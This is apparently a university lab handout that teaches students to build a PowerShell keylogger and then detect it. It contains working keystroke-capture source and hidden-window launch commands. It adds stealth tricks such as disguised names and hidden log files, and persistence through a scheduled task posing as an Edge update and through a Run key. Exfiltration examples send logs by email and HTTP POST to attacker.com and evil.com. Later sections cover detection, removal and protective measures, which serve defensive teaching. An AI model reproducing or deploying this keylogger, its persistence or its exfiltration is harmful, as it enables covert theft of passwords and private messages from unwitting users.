Lab 3.3: PowerShell Keylogger - Keystroke Capture
Learning Objectives
By the end of this lab, you will be able to:
- Understand how a keylogger works
- Create a simple PowerShell keylogger
- Implement stealth and persistence
- Detect the presence of a keylogger
- Understand the risks associated with public and unsupervised PCs
- Apply protective measures
Estimated Duration
35 minutes
Prerequisites
- Windows 10/11 VM
- PowerShell
- Understanding of Labs 3.1 and 3.2
Professional Context
Keyloggers are used by:
- Attackers to steal passwords and sensitive information
- Companies for employee monitoring (with legal consent!)
- Parents to monitor children's activity (parental control)
- Governments for targeted surveillance (with warrant)
This lab demonstrates:
- How EVERYTHING you type can be captured
- Why public PCs are dangerous
- How identity thieves operate
- Importance of physical security
- Detection techniques
⚠️ ETHICAL AND LEGAL WARNING - EXTREMELY IMPORTANT
THIS LAB TEACHES THE CREATION OF A KEYLOGGER
Keyloggers are EXTREMELY invasive tools that capture EVERYTHING typed: passwords, private messages, emails, credit card numbers, etc.
LEGAL ONLY IF:
- On your own computer/VM
- With written consent from all monitored individuals
- For security testing authorized by contract
- For legal parental monitoring (minors only)
STRICTLY ILLEGAL:
- Installing on someone else's computer without consent
- On public PCs (library, café, etc.)
- On work PCs without employer authorization
- On spouse/partner/family PCs without consent
EXTREMELY SEVERE CONSEQUENCES:
- Serious crime: Invasion of privacy (Criminal Code art. 184)
- Prison up to 5 years
- Massive fines
- Permanent criminal record
- Civil lawsuit for damages
- Academic expulsion
IN SOME COUNTRIES/STATES:
- Keylogging = Crime on par with wiretapping
- Even harsher penalties
THIS LAB IS FOR UNDERSTANDING AND DEFENSE ONLY
By completing this lab, you understand these techniques exist and learn to protect yourself. Malicious use is YOUR responsibility and will have serious legal consequences.
Part 1: Understanding Keyloggers
Step 1.1: What is a Keylogger?
Keylogger = Software (or hardware) that records all keystrokes.
Captures:
- Passwords
- Messages (email, chat, SMS)
- Typed documents
- Web searches
- Credit card numbers
- PIN codes
- EVERYTHING!
Types:
- Software (this lab): Program running in the background
- Hardware: Physical device between keyboard and PC
- Kernel-level: Integrated into the operating system
- Hypervisor-level: At the virtualization level
Step 1.2: How Does It Work?
Technical principle:
- Keyboard hook: Intercepts keyboard events
- Key capture: Records which key is pressed
- Timestamp: Exact time of the keystroke
- Active window: Which program/site is active
- Save: Writes to hidden log file
- Exfiltration: Sends logs to the attacker
Windows API used:
GetAsyncKeyState()- Current state of keysGetForegroundWindow()- Active windowGetWindowText()- Window title
Questions:
- Have you ever used a public PC (library, café)?
- Have you typed passwords on these PCs?
Step 1.3: Malicious Use Scenarios
Scenario 1: Public PC
- Keylogger installed on library PC
- You type email/bank password
- Attacker retrieves the log later
- Accesses all your accounts
Scenario 2: Malicious USB
- Found USB stick contains keylogger
- Auto-run or curiosity → Installation
- Captures for months
- Complete identity theft
Scenario 3: Jealous Spouse
- Installation on shared PC
- Captures conversations, emails
- Serious privacy violation
- Illegal even between spouses!
Questions: 3. Which scenario seems most likely to you? 4. How would you protect yourself?
Part 2: Creating the Keylogger
Step 2.1: Basic Version (15 lines!)
Create a file keylogger_basic.ps1:
# Basic PowerShell Keylogger
$logFile = "$env:TEMP\log.txt"
Add-Type -AssemblyName System.Windows.Forms
while ($true) {
Start-Sleep -Milliseconds 10
foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}
ATTENTION: This code is simplified for demonstration. Real version is more complex.
Run in background:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1
Invisible window! The keylogger runs in the background.
Step 2.2: Enhanced Version (More Realistic)
Create keylogger_advanced.ps1:
# Advanced PowerShell Keylogger
# FOR EDUCATIONAL USE ONLY!
$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""
# Windows API Signature
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@
function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}
function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}
Write-Log "===== Keylogger Started ====="
# Main loop
while ($true) {
Start-Sleep -Milliseconds 10
# Check active window
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}
# Check each key
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)
if ($keyState -eq -32767) {
# Key pressed
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)
# Special keys
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Letter or number
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}
Features:
- ✅ Captures all keys
- ✅ Detects active window (know which site/app)
- ✅ Precise timestamp
- ✅ Hidden log file
- ✅ Handles special keys (Enter, Backspace, etc.)
Questions: 5. How many lines is this keylogger? 6. Is it difficult to create? (Answer: NO!)
Step 2.3: Execution and Testing
Launch the keylogger:
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"
Now, type things:
- Open Notepad
- Type: "This is a test"
- Open browser
- Type: "password: Test123!"
- Open calculator
- Type some numbers
Stop the keylogger:
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Step 2.4: View the Results
Open the log file:
notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"
YOU SEE:
[2024-11-08 14:23:15] ===== Keylogger Started =====
[2024-11-08 14:23:20] === Window: Untitled - Notepad ===
T h i s i s a t e s t [ENTER]
[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
p a s s w o r d : T e s t 1 2 3 ! [ENTER]
[2024-11-08 14:24:10] === Window: Calculator ===
1 2 3 4 5 6 7 8 9 0
WOW! EVERYTHING IS CAPTURED!
Even:
- Passwords (displayed as dots but captured in clear text!)
- Used windows
- Exact time
- Special keys
Questions: 7. Are you surprised to see everything that was captured? 8. Imagine this file after a full day...
Part 3: Stealth and Persistence
Step 3.1: Making Invisible
Current problem:
- powershell.exe process visible in Task Manager
- Visible CPU consumption
- Discoverable log file
Improvements:
1. Disguised process name:
Rename the script:
winupdate.ps1(looks like Windows Update)svchost.ps1(looks like Windows service)chrome_update.ps1(looks like Chrome)
2. Hidden log file:
$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"
# Create folder if not existing
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)
# Mark file as hidden and system
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'
3. Reduce CPU consumption:
# Instead of 10ms, use 50ms or 100ms
Start-Sleep -Milliseconds 50
Less precise but less detectable!
Step 3.2: Automatic Persistence
Method 1: Scheduled Task
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"
Name that looks like a legitimate task!
Method 2: Registry Run Key
$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand
Starts at every login!
Method 3: Windows Service (Advanced)
# Create disguised Windows service
# Requires SYSTEM privileges
# Not covered in detail here but very effective
Questions: 9. Which persistence method do you prefer? 10. How would a normal user detect this?
Step 3.3: Log Exfiltration
Problem: Attacker needs to retrieve the log file
Solutions:
1. Automatic Email (simple):
# Send log by email every day
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"
Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp
2. HTTP Upload (stealthy):
$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw
Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing
3. Periodic Reverse Shell:
Send log via established reverse shell (Lab 3.2!)
4. Cloud Storage (very stealthy):
# Upload to Dropbox/OneDrive/Google Drive
# Flies under the radar as "legitimate" traffic
Hard to detect because it looks like normal traffic!
Part 4: Keylogger Detection
Step 4.1: Process Detection
Look for suspicious PowerShell processes:
Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List
Suspicious if:
- Started at login
- Argument contains "Hidden"
- Not launched by you
- Running for a long time
Terminate suspicious process:
Stop-Process -Id <PID> -Force
Step 4.2: File Detection
Look for suspicious log files:
# Look for .txt or .log files recently modified
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime
Examine suspicious files:
notepad "C:\Path\To\Suspicious\File.txt"
If you see your own keystrokes = KEYLOGGER!
Step 4.3: Scheduled Task Detection
List all tasks:
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} |
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize
Examine suspicious tasks:
$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions
Suspicious if:
- Name looks like Windows service but doesn't really exist
- Action = PowerShell with unknown script
- You didn't create it
Delete:
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false
Step 4.4: Registry Detection
Check Run keys:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Any unknown entry = suspicious!
Delete:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"
Step 4.5: Automated Detection Tools
Use antivirus/antimalware:
# Windows Defender full scan
Start-MpScan -ScanType FullScan
Specialized tools:
- Malwarebytes (free)
- HitmanPro
- RogueKiller
- KL-Detector (specific to keyloggers)
Questions: 11. Did you detect your own keylogger? 12. How long did detection take?
Part 5: Real Scenarios and Impact
Step 5.1: Complete Identity Theft
What a keylogger can capture in 1 week:
Day 1:
- Email: username + password
- Social networks: Facebook, Instagram, Twitter
- Personal Google searches
Day 2:
- Online banking: username + password + code
- Credit card number + CVV + expiration date
- Private conversations (Messenger, WhatsApp Web)
Day 3:
- Company VPN: corporate network access
- Sensitive professional emails
- Typed confidential documents
Day 4:
- Colleagues' passwords (if shared)
- Server credentials
- Industrial secrets
Days 5-7:
- Data accumulation
- Life patterns (connection times, habits)
- Contacts and relationships
RESULT:
- Total identity theft
- Access to all your accounts
- Compromise of your employer
- Possible blackmail
- Potential financial ruin
Step 5.2: Real Case - Magic Lantern (FBI)
2001: FBI develops "Magic Lantern" keylogger
- Deployed via exploit or physical access
- Captures encryption keys
- Circumvents PGP and other encryptions
Publicly revealed: Privacy controversy
Step 5.3: Real Case - Cybercafés in Asia
2010s: Keyloggers found on 60% of cybercafé PCs
- Thailand, Philippines, India
- Tourists victims
- Bank accounts emptied after returning home
Travel advice: NEVER access bank from public PC!
Step 5.4: Real Case - Compromised Company
2018: Pharmaceutical company compromised
- Keylogger installed on employee PC via phishing
- Captured VPN access
- Lateral movement to R&D servers
- Theft of drug formulas worth $100M+
Total cost: Company bankruptcy!
Questions: 13. Do these scenarios seem realistic to you? 14. What would be the impact if a keylogger was on your PC now?
Part 6: Protective Measures
Step 6.1: Personal Protection
1. NEVER use public PC for:
- Online banking
- Social networks
- Online shopping
- Anything sensitive!
2. Virtual keyboard (on-screen keyboard):
osk
Click letters instead of typing = bypasses keylogger!
Limitation: Not practical for daily use
3. Password manager:
Bitwarden, 1Password, LastPass:
- Auto-fill = no keyboard typing!
- Keylogger captures nothing
4. Two-factor authentication (2FA):
Even if password stolen:
- 2FA prevents login
- Code required on phone
Step 6.2: Enterprise Protection
1. Antivirus/EDR:
Endpoint Detection and Response:
- Detects suspicious behaviors
- Blocks known keyloggers
- Alerts security team
2. Application Whitelisting:
Only authorized programs can run:
# AppLocker
# Device Guard
# Windows Defender Application Control
3. PowerShell Execution Policy:
Set-ExecutionPolicy AllSigned -Force
Only scripts signed by approved authority!
4. Monitoring:
- SIEM (Security Information and Event Management)
- Log all PowerShell processes
- Alert if execution with "-Hidden"
Step 6.3: Physical Protection
Personal PC:
- BitLocker enabled (prevents installation in recovery mode)
- Auto-lock after 1 minute
- BIOS password (prevents alternative boot)
- Never leave unattended
Enterprise PC: 5. Full Disk Encryption mandatory 6. USB ports disabled (prevents autorun) 7. Video surveillance of server rooms 8. Access badge required
Part 7: Hardware Keyloggers
Step 7.1: What is a Hardware Keylogger?
Physical device:
- Plugged between keyboard and PC
- OR integrated into the keyboard
- OR integrated into the cable
Advantages (for attacker):
- Impossible to detect by software!
- No antivirus can find it
- Works on any OS (Windows, Linux, Mac)
- No process to hide
Appearance:
- Looks like USB adapter
- Or completely invisible (integrated)
Step 7.2: Hardware Detection
How to detect:
-
Regular visual inspection
- Check keyboard connections
- Look for devices between keyboard and PC
- Compare with normal state
-
Check cables
- Suspicious box on the cable?
- Cable thicker than usual?
-
Hardware baseline
- Photograph normal setup
- Compare regularly
In enterprise:
- Security seals on connectors
- Strict hardware inventory
- Regular inspections
Step 7.3: Protection Against Hardware
Solutions:
- Bluetooth wireless keyboard (harder to intercept)
- Regular visual inspection
- Controlled environment
- Virtual keyboard for critical passwords
Part 8: Practical Exercises
Exercise 8.1: Improve the Keylogger
Add these features:
- Periodic screenshot capture
- Keyword detection ("password", "bank", "credit card")
- Log file encryption
- Compression before exfiltration
Exercise 8.2: Detection Script
Create a script that:
- Scans for suspicious PowerShell processes
- Checks scheduled tasks
- Searches for suspicious log files
- Checks Run registry keys
- Generates HTML report
Exercise 8.3: Security Policy
Draft a company policy:
- Keyloggers prohibition
- Detection procedures
- Sanctions for use
- Employee training
Deliverables
To submit:
-
Analysis document (Word/PDF, 3-4 pages):
- Answers to the 14 questions
- Explanation of keylogger operation
- Screenshot of log file (ANONYMIZED!)
- Personal risk analysis
-
Screenshots (minimum 5):
- Keylogger code
- Running PowerShell processes
- Log file with captures (anonymized!)
- Persistence scheduled task
- Detection and removal
-
Personal protection plan (1-2 pages):
- Evaluation of your current risks
- Measures to implement
- Habit changes
- Implementation timeline
-
Awareness (optional, +5% bonus):
- Video or presentation (5 min)
- "Why never use public PC"
- Keylogger demonstration
- Protection tips
Evaluation Criteria
| Criterion | Points |
|---|---|
| Functional keylogger created and tested | 25% |
| Understanding of operation | 20% |
| Successful detection and removal | 20% |
| Real risk analysis | 15% |
| Personal protection plan | 15% |
| Documentation quality | 5% |
| Awareness bonus | +5% |
Quick Reference Commands
Execution
# Launch hidden keylogger
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"
# Stop
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Detection
# Suspicious processes
Get-Process powershell | Select Id,StartTime,CommandLine
# Recent log files
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force
# Scheduled tasks
Get-ScheduledTask | Where State -eq "Ready"
# Run keys
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Cleanup
# Delete task
Unregister-ScheduledTask -TaskName "SuspiciousTask"
# Delete registry key
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"
# Delete log file
Remove-Item -Path $logFile -Force
Troubleshooting
Problem: Keylogger captures nothing
Solution:
- Check if the script is running (
Get-Process powershell) - Check if the log file is created
- Write permissions in the folder?
Problem: Antivirus blocks
Solution:
- It's NORMAL! It's a keylogger!
- Add exclusion for this lab only
- Reactivate protection afterward
Problem: High CPU consumption
Solution:
- Increase
Start-Sleepdelay (50ms or 100ms) - Optimize detection loop
Going Further (Optional)
Challenge 1: Keylogger GUI
Create graphical interface for:
- Start/stop capture
- View logs in real-time
- Filter by application
- Export in different formats
Challenge 2: Anti-Keylogger
Develop tool that:
- Detects active keyloggers
- Automatically removes them
- Protects in real-time
- Alerts user
Challenge 3: Research
Study professional keyloggers:
- FinFisher/FinSpy (governmental)
- Ardamax Keylogger (commercial)
- Perfect Keylogger (commercial)
Compare with your version.
Additional Resources
- Windows API Documentation
- GetAsyncKeyState Function
- PowerShell Security Best Practices
- OWASP - Keyloggers
Conclusion
This lab taught you:
- Create a functional PowerShell keylogger
- Implement stealth and persistence
- Detect and remove keyloggers
- Understand real risks
- Apply protective measures
CRITICAL Lessons:
- 15 lines of code = Functional keylogger!
- EVERYTHING you type can be captured
- Public PCs = EXTREME DANGER
- Password manager = Essential protection
- Never type sensitive passwords on an unsafe PC
- Detection is difficult but possible with vigilance
AWARENESS:
After this lab, you will never see a keyboard the same way again. Every time you type a password, ask yourself: "Is this PC safe?"
PROTECT YOURSELF:
- Use a password manager NOW
- Enable 2FA on ALL your accounts
- NEVER do banking on a public PC
- Regularly check your processes
- Educate those around you
FINAL MESSAGE:
You now have the power to create a keylogger in minutes. This power comes with a HUGE responsibility.
Use this knowledge to:
- ✅ Protect yourself
- ✅ Protect others
- ✅ Raise awareness
- ✅ Authorized security testing
NEVER for:
- ❌ Spying
- ❌ Stealing
- ❌ Violating privacy
- ❌ Harming
Be on the side of the good guys. 🛡️
Lab developed as part of the Operating Systems course - MODULE 3
⚠️ FINAL REMINDER: Keylogger on someone else's computer = SERIOUS CRIME. Guaranteed prison.